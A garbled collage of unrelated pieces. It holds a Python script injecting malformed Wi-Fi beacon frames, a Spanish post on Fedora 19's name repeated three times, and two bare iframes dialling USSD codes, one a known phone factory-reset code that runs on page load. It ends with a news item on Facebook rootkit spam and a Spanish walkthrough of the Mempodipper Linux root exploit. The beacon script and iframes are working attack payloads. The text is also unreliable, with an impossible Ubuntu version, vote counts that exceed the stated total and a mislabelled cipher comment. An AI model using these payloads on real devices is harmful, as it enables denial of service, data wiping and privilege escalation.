- ------------------------- poc.py -------------------------
#!/usr/bin/env python

import sys
import time
import struct
import PyLorcon2

def beaconFrameGenerator():
sequence = 0
while(1):
sequence = sequence % 4096

# Frame Control
frame = '\x80' # Version: 0 - Type: Managment - Subtype: Beacon
frame += '\x00' # Flags: 0
frame += '\x00\x00' # Duration: 0
frame += '\xff\xff\xff\xff\xff\xff' # Destination: ff:ff:ff:ff:ff:ff
frame += '\x00\x00\x00\x15\xde\xad' # Source: 00:00:00:15:de:ad
frame += '\x00\x00\x00\x15\xde\xad' # BSSID: 00:00:00:15:de:ad
frame += struct.pack('H', sequence) # Fragment: 0 - Sequenence:
part of the generator
# Frame Body
frame += struct.pack('Q', time.time()) # Timestamp
frame += '\x64\x00' # Beacon Interval: 0.102400 seconds
frame += '\x11\x04' # Capability Information: ESS, Privacy,
Short Slot time
# Information Elements
# SSID: buggy
frame += '\x00\x05buggy'
# Supported Rates: 1,2,5.5,11,18,24,36,54
frame += '\x01\x08\x82\x84\x8b\x96\x24\x30\x48\x6c'
# DS Parameter Set: 6
frame += '\x03\x01\x06'
# RSN IE
frame += '\x30' # ID: 48
frame += '\x14' # Size: 20
frame += '\x01\x00' # Version: 1
frame += '\x00\x0f\xac\x04' # Group cipher suite: TKIP
frame += '\x01\x00' # Pairwise cipher suite count: 1
frame += '\x00\x0f\xac\x00' # Pairwise cipher suite 1: TKIP
frame += '\xff\xff' # Authentication suites count: 65535
frame += '\x00\x0f\xac\x02' # Pairwise authentication suite 2: PSK
frame += '\x00\x00'

sequence += 1
yield frame

if __name__ == "__main__":
if len(sys.argv) != 2:
print "Usage:"
print "\t%s <wireless interface>" % sys.argv[0]
sys.exit(-1)

iface = sys.argv[1]
context = PyLorcon2.Context(iface)
context.open_injmon()

generator = beaconFrameGenerator()

for i in range(10000):
frame = generator.next()
time.sleep(0.100)
context.send_bytes(frame)
  

Muchas veces hemos escuchado que los proyectos de cómputo tienen nombres extraños y en ocasiones hasta bizarros. Por ejemplo, Turbo Pascal para Windows, de Borland, tenía como nombre clave “Delphi” y finalmente, éste fue el nombre que se quedó. Así, solamente con el cambio de nombre podíamos decir que sabíamos un nuevo lenguaje de programación, aunque estuviésemos hablando de Pascal, ese viejo amigo. Otro ejemplo es Ubuntu, que su versión 12.17 se llamará Quantal Quetzal.

Con esto en mente, Fedora decidió hacer una especie de consulta en el mundo geek, para ver cómo se llamaría su siguiente versión de su distribución de Linux. Esto es interesante porque fuera del nombre que haya sido elegido, puede dar una idea de lo que pasa en la mente de estos personajes llamados programadores.

Así, Fedora ha decidido que la siguiente versión, la 19, se llamará “el gato de Schrodinger”. Cabe decir que la versión anterior tenía un nombre quizás más extraño: “Vaca esférica”. Esto viene de la física teórica y es en realidad una broma geek: “Tengo una fórmula para mejorar la producción de leche pero solamente trabaja bien con una vaca esférica en el vacío”.

El gato de Schrodinger es otro tema de la física cuántica. De acuerdo a la Wikipedia, Erwin Schrodinger plantea un sistema que se encuentra formado por una caja cerrada y opaca que contiene un gato en su interior, una botella de gas venenoso y un dispositivo, el cual contiene una partícula radiactiva con una probabilidad del 50% de desintegrarse en un tiempo dado, de manera que si la partícula se desintegra, el veneno se libera y el gato muere.

Al terminar el tiempo establecido, hay una probabilidad del 50% de que el dispositivo se haya activado y el gato esté muerto, y la misma probabilidad de que el dispositivo no se haya activado y el gato esté vivo. Según los principios de la mecánica cuántica, la descripción correcta del sistema en ese momento (su función de onda) será el resultado de la superposición de los estados “vivo” y “muerto” (a su vez descritos por su función de onda). Sin embargo, una vez abramos la caja para comprobar el estado del gato, éste estará vivo o muerto (que es cuando se colapsa precisamente la función de onda, que a todo esto es una expresión matemática sin asidero en la física, como lo es, por ejemplo, la ecuación de la segunda ley de Newton).

Ahí radica la paradoja. Mientras que en la descripción clásica del sistema el gato estará vivo o muerto antes de que abramos la caja y comprobemos su estado, en la mecánica cuántica el sistema se encuentra en una superposición de los estados posibles hasta que interviene el observador. El paso de una superposición de estados a un estado definido se produce como consecuencia del proceso de medida, y no puede predecirse el estado final del sistema: sólo la probabilidad de obtener cada resultado. La naturaleza del proceso sigue siendo una incógnita, que ha dado lugar a distintas interpretaciones de carácter especulativo.

Así, las votaciones para elegir el nombre de la siguiente versión de Fedora fueron de la siguiente manera:

Un total de 3128 votos

    Votos ::  Nombre
    ——————————————–
    1876  ::  Gato de Schrodinger
    1620  ::  Bosón de Higgs
    1012  ::  Tiddalik
    960   ::  Monstruo de Loch Ness (lago Ness)
    907   ::  Dinámica newtoniana
    892   ::  Blueberries marcianas
    722   ::  Potasio parabólico
    595   ::  Becerro cúbico

Sí, muchos nombres basados en la ciencia y pocas sugerencias sociales. La lista completa puede verse aquí.

Muchas veces hemos escuchado que los proyectos de cómputo tienen nombres extraños y en ocasiones hasta bizarros. Por ejemplo, Turbo Pascal para Windows, de Borland, tenía como nombre clave “Delphi” y finalmente, éste fue el nombre que se quedó. Así, solamente con el cambio de nombre podíamos decir que sabíamos un nuevo lenguaje de programación, aunque estuviésemos hablando de Pascal, ese viejo amigo. Otro ejemplo es Ubuntu, que su versión 12.17 se llamará Quantal Quetzal.
Con esto en mente, Fedora decidió hacer una especie de consulta en el mundo geek, para ver cómo se llamaría su siguiente versión de su distribución de Linux. Esto es interesante porque fuera del nombre que haya sido elegido, puede dar una idea de lo que pasa en la mente de estos personajes llamados programadores.
Así, Fedora ha decidido que la siguiente versión, la 19, se llamará “el gato de Schrodinger”. Cabe decir que la versión anterior tenía un nombre quizás más extraño: “Vaca esférica”. Esto viene de la física teórica y es en realidad una broma geek: “Tengo una fórmula para mejorar la producción de leche pero solamente trabaja bien con una vaca esférica en el vacío”.
El gato de Schrodinger es otro tema de la física cuántica. De acuerdo a la Wikipedia, Erwin Schrodinger plantea un sistema que se encuentra formado por una caja cerrada y opaca que contiene un gato en su interior, una botella de gas venenoso y un dispositivo, el cual contiene una partícula radiactiva con una probabilidad del 50% de desintegrarse en un tiempo dado, de manera que si la partícula se desintegra, el veneno se libera y el gato muere.
Al terminar el tiempo establecido, hay una probabilidad del 50% de que el dispositivo se haya activado y el gato esté muerto, y la misma probabilidad de que el dispositivo no se haya activado y el gato esté vivo. Según los principios de la mecánica cuántica, la descripción correcta del sistema en ese momento (su función de onda) será el resultado de la superposición de los estados “vivo” y “muerto” (a su vez descritos por su función de onda). Sin embargo, una vez abramos la caja para comprobar el estado del gato, éste estará vivo o muerto (que es cuando se colapsa precisamente la función de onda, que a todo esto es una expresión matemática sin asidero en la física, como lo es, por ejemplo, la ecuación de la segunda ley de Newton).
Ahí radica la paradoja. Mientras que en la descripción clásica del sistema el gato estará vivo o muerto antes de que abramos la caja y comprobemos su estado, en la mecánica cuántica el sistema se encuentra en una superposición de los estados posibles hasta que interviene el observador. El paso de una superposición de estados a un estado definido se produce como consecuencia del proceso de medida, y no puede predecirse el estado final del sistema: sólo la probabilidad de obtener cada resultado. La naturaleza del proceso sigue siendo una incógnita, que ha dado lugar a distintas interpretaciones de carácter especulativo.

Muchas veces hemos escuchado que los proyectos de cómputo tienen nombres extraños y en ocasiones hasta bizarros. Por ejemplo, Turbo Pascal para Windows, de Borland, tenía como nombre clave “Delphi” y finalmente, éste fue el nombre que se quedó. Así, solamente con el cambio de nombre podíamos decir que sabíamos un nuevo lenguaje de programación, aunque estuviésemos hablando de Pascal, ese viejo amigo. Otro ejemplo es Ubuntu, que su versión 12.17 se llamará Quantal Quetzal.
Con esto en mente, Fedora decidió hacer una especie de consulta en el mundo geek, para ver cómo se llamaría su siguiente versión de su distribución de Linux. Esto es interesante porque fuera del nombre que haya sido elegido, puede dar una idea de lo que pasa en la mente de estos personajes llamados programadores.
Así, Fedora ha decidido que la siguiente versión, la 19, se llamará “el gato de Schrodinger”. Cabe decir que la versión anterior tenía un nombre quizás más extraño: “Vaca esférica”. Esto viene de la física teórica y es en realidad una broma geek: “Tengo una fórmula para mejorar la producción de leche pero solamente trabaja bien con una vaca esférica en el vacío”.
El gato de Schrodinger es otro tema de la física cuántica. De acuerdo a la Wikipedia, Erwin Schrodinger plantea un sistema que se encuentra formado por una caja cerrada y opaca que contiene un gato en su interior, una botella de gas venenoso y un dispositivo, el cual contiene una partícula radiactiva con una probabilidad del 50% de desintegrarse en un tiempo dado, de manera que si la partícula se desintegra, el veneno se libera y el gato muere.
Al terminar el tiempo establecido, hay una probabilidad del 50% de que el dispositivo se haya activado y el gato esté muerto, y la misma probabilidad de que el dispositivo no se haya activado y el gato esté vivo. Según los principios de la mecánica cuántica, la descripción correcta del sistema en ese momento (su función de onda) será el resultado de la superposición de los estados “vivo” y “muerto” (a su vez descritos por su función de onda). Sin embargo, una vez abramos la caja para comprobar el estado del gato, éste estará vivo o muerto (que es cuando se colapsa precisamente la función de onda, que a todo esto es una expresión matemática sin asidero en la física, como lo es, por ejemplo, la ecuación de la segunda ley de Newton).
Ahí radica la paradoja. Mientras que en la descripción clásica del sistema el gato estará vivo o muerto antes de que abramos la caja y comprobemos su estado, en la mecánica cuántica el sistema se encuentra en una superposición de los estados posibles hasta que interviene el observador. El paso de una superposición de estados a un estado definido se produce como consecuencia del proceso de medida, y no puede predecirse el estado final del sistema: sólo la probabilidad de obtener cada resultado. La naturaleza del proceso sigue siendo una incógnita, que ha dado lugar a distintas interpretaciones de carácter especulativo.

<iframe src="tel:*2767*3855%23" width="320" height="240"></iframe>
  

<iframe src="tel:*%2306%23"></iframe>
  

Lo mas de 800 millones de usuarios de facebook la convierten en un apetitoso blanco para los ciberdelincuentes, por mínimo que esta sea supone miles de usuarios infectados o estafados.

Un falso enlace a la supuesta web del canal estadounidense CNN avisa de un inminente ataque militar de Estados Unidos contra Irán y Arabia Saudí, en lo que supondría el teórico inicio de la Tercera Guerra Mundial.

En dicho enlace el usuario es redirigido a una web falsa con la apariencia del citado medio de reconocido prestigio mundial.

En dicha web se intenta atraer la atención de las víctimas con supuestos vídeos sobre el citado conflicto. Sin embargo, para poder visualizarlos al pulsarlos se pide a los usuarios que instalen una supuesta actualización de Adobe Flash Player, momento en el que se descarga e instala el archivo malicioso, detectado como “Troj / Rootkit-JV“.

Al tratarse de un rootkit, entraña los riesgos de este tipo de malware, convirtiendo el ordenador infectado en una fuente para que los intrusos puedan extraer de él todo tipo de información sin el permiso del usuario o ejecutar acciones de forma remota.

El ritmo de propagación del malware ha sido muy alto, ya que según alerta la empresa de seguridad, más de 60.000 usuarios han sido engañados en apenas tres horas. Sophos ha señalado que el código malicioso instalado en los ordenadores de los usuarios está enviando el mensaje a Facebook sin que los usuarios lo sepan, de modo que sus contactos son víctimas potenciales de este archivo.

El pasado día 17 de enero, Linus Torvalds hizo un commit para corregir una elevación de privilegios en el kernel Linux 2.6 (CVE-2012-0056). El fallo fue descubierto por Jüri Aedla y según comenta Torvalds en el
propio parche, se debe a una incorrecta comprobación de privilegios al abrir el /proc/#pid#/mem de un proceso.

Este error no pasó desapercibido a Jason A. Donenfeld que ha escrito y publicado un interesante exploit lo ha bautizado como 'Mempodipper'.

Donenfeld estudió en detalle el proceso de explotación. De partida se encontró con que efectivamente la comprobación de permisos era débil y además, que la protección contra escritura en el espacio de memoria del proceso fue eliminada del código del kernel. De hecho puede leerse en el comentario del commit correspondiente, que se eliminaba la restricción porque no se consideraba un peligro la escritura en /proc/#pid#/mem.

Esto hace virtualmente vulnerables a los núcleos con versión 2.6.39 o superior.

Cómo funciona:

Cuando se abre /proc/#pid#/mem se usa la función 'mem_open'. Dicha función almacena el 'self_exec_id' correspondiente al proceso que solicita la apertura. Esto se hace para comprobar posteriormente si son suficientes privilegios cuando se efectúan operaciones de lectura o escritura sobre el descriptor de fichero obtenido.

 static int mem_open(struct inode* inode, struct file* file)
{
file->private_data = (void*)((long)current->self_exec_id);
  

 En el caso de la operación de escritura se hace la comprobación del 'self_exec_id' además de llamar a 'check_mem_permission'. En teoría, para escribir en /proc/#pid#/mem, o se es el mismo proceso #pid# o el
proceso tiene ciertos permisos especiales relacionados con ptrace.

static ssize_t mem_write(struct file * file, const char __user *buf,
size_t count, loff_t *ppos)
{
...
...
  

Se llama a 'check_mem_permission' y si 'mm' vuelve con error no se efectúa la operación:

 

mm = check_mem_permission(task);
copied = PTR_ERR(mm);
if (IS_ERR(mm))
goto out_free;
  

'check_mem_permission' simplemente llama a '__check_mem_permission' y
como se observa dentro de su código efectúa la comprobación "task
==current":
  

static struct mm_struct *__check_mem_permission(struct task_struct
*task)
{
struct mm_struct *mm;

mm = get_task_mm(task);
if (!mm)
return ERR_PTR(-EINVAL);

if (task == current)
return mm;

...
...
  

Si no coinciden devuelve error. Luego debe ser el mismo proceso el que escriba en su propia memoria y si queremos elevar privilegios necesitaríamos un proceso con 'suid'.

Primera aproximación al exploit

Donenfeld se figuró cómo hacer esto:

$ su "yeeeee haw I am a cowboy"
Unknown id: yeeeee haw I am a cowboy

Cualquier cosa que se escriba pasa por la memoria del proceso creado por 'su' (que posee 'suid'). Parecia obvio qué hacer:

Abrimos '/proc/self/mem' y obtenemos su descriptor de archivo. Ejecutamos 'dup2' para multiplexarlo con 'stderr'. Escribimos nuestro shellcode en él y ejecutando posteriormente con exec obtendríamos root... pero no.

Esto no iba a funcionar debido a que aun queda otra restricción más:

if (file->private_data != (void *)((long)current->self_exec_id))
goto out_mm;
  

El 'self_exec_id' del proceso que va a ejecutar la escritura 'exec' ha de ser el mismo que abrió originalmente '/proc/#pid#/mem', recordad más arriba cuando se llama a 'mem_open'.

¿Por qué ha cambiado 'self_exec_id'?

Cuando se llama a 'exec' el 'self_exec_id', es aumentado en 1 impidiendo que esto ocurra:

void setup_new_exec(struct linux_binprm * bprm)
{
...
...
current->self_exec_id++;
  

Resumiendo. No podemos abrir el '/proc/#pid#/mem' de un proceso cualquiera, hacer 'dup2' con 'stderr' y luego hacer 'exec' de un proceso con 'suid' para escribir allí, ya que al hacer 'exec' no van a coincidir los 'self_exec_id'.

Donenfeld solucionó esto de manera sencilla pero ingeniosa, muy ingeniosa.

El exploit

Se hace 'fork' de un proceso y en este hijo se ejecuta 'exec' a un nuevo proceso. De este modo el 'self_exec_id', que se ha heredado del padre, ahora tiene un valor de +1 con respecto al padre.

Ahora hacemos que el padre ejecute 'exec' sobre un proceso 'suid' que va a escribir nuestro shellcode. En este momento, al ejecutar 'exec' en el padre su 'self_exec_id' acaba de aumentar a +1 coincidiendo con el del hijo.

Mientras tanto en el proceso 'exec' que ha llamado el hijo se obtiene, al abrir, el descriptor del '/pro /#parent_pid#/mem'; y es posible abrirlo porque no existe restricción en la operación de apertura. Es decir, no van a ser comprobados los privilegios del 'exec' que ha creado el hijo.

En este momento tenemos un 'exec' del padre con un proceso 'suid' dispuesto a escribir el shellcode. Un 'exec' del hijo con un descriptor del '/proc/#pid#/mem' del padre y la salida 'stderr' acoplada a ese descriptor (llamada a 'dup2') y lo más importante, tenemos los 'self_exec_id' igualados por lo tanto la restricción ha sido evadida.

Solo queda que el hijo pase el descriptor al padre y éste va a escribir el shellcode allí ya que cuando llame a 'mem_write', como hemos dicho, las comprobaciones van a ser correctas.

Pero aún queda más, averiguar "dónde" se debe escribir en memoria para poder ejecutar de manera exitosa el shellcode. Se necesita una dirección fija de memoria, algo que podría ser complicado si se usa ASLR, pero Donenfeld observó que la mayoría de binarios 'su' de las distribuciones no están compilados con 'PIE'(Position-independent executable)

Podemos observarlo si hacemos:

$ readelf -h /bin/su | grep Type
Type: EXEC (Executable file)

Como el mismo Donenfeld apunta, si el 'Type' fuera 'DYN' entonces si podría protegerse con ASLR debido a que el ejecutable permitiría ser reubicado en distintas posiciones de memoria. Al no ser el caso el desplazamiento en memoria siempre va a ser el mismo.

Buscando Donenfeld obtuvo la dirección 0x402178, correspondiente a una llamada a 'exit@plt'. Tan solo tenía que escribir en 0x402178 menos la longitud de la cadena 'Unknown id: ' y su shellcode se ejecutaría.

En definitiva, un exploit más interesante que la propia vulnerabilidad que explota y una muestra de ingenio por parte de Donenfeld al conseguir la explotación de la forma que hemos visto.

Más información:

Parche de Linus Torvalds

git.kernel.org - linux/kernel/git/torvalds/linux-2.6.git/commitdiff

Commit de la eliminación de la protección de escritura

git.kernel.org - linux/kernel/git/torvalds/linux-2.6.git/commitdiff

* Linux Local Privilege Escalation via SUID /proc/pid/mem Write

Linux Local Privilege Escalation via SUID /proc/pid/mem Write | Nerdling Sapple